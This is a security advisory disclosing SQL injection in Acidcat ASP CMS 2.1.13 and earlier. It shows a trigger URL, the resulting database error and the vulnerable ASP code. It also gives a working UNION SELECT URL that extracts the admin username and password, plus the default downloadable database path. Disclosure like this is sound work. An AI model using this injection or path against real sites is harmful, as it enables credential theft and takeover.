http://hamid.ir

Acidcat CMS is a web site and simple content
management system that can be administered via a web
browser. 
It is free for non-commercial use.Acidcat CMS is also
an open source product.
The product has been found to contain multiple
security vulnerabilities allowing a remote attacker to
find administrator username and password.
Acidcat ASP CMS :http://www.acidcat.com

Credit:
The information has been provided by Hamid Ebadi
(Hamid Network Security Team):admin@hamid.ir.
The original article can be found at:
http://hamid.ir/security/

Vulnerable Systems:
 * Acidcat CMS v 2.1.13 and below
Example :
The following URL can be used to trigger an SQL
injection vulnerability in the main_content.asp page:
http://localhost/acidcat/default.asp?ID=1'

Microsoft OLE DB Provider for ODBC Drivers error
'80040e14' 
[Microsoft][ODBC Microsoft Access Driver] Syntax error
(missing operator) in query expression 'ID = 1'''. 
/main_content.asp, line 16 

Vulnerable Code:
The following lines in main_content.asp
Item.Source = "SELECT * FROM Item WHERE ID = "+
Item__MMColParam.replace(/'/g, "''") + "";


Exploit:
The following URL will illustrate how you can easily
find administrator username and password  by entering
the following URL:

http://localhost/acidcat/default.asp?ID=26 union
select 1,username,3,password,5,6 from Configuration
The base path of the login is :
http://localhost/acidcat/main_login.asp


Database Download:
The database can be downloaded over the web  (default
installation).it can be found on
http://localhost/acidcat/databases/acidcat.mdb



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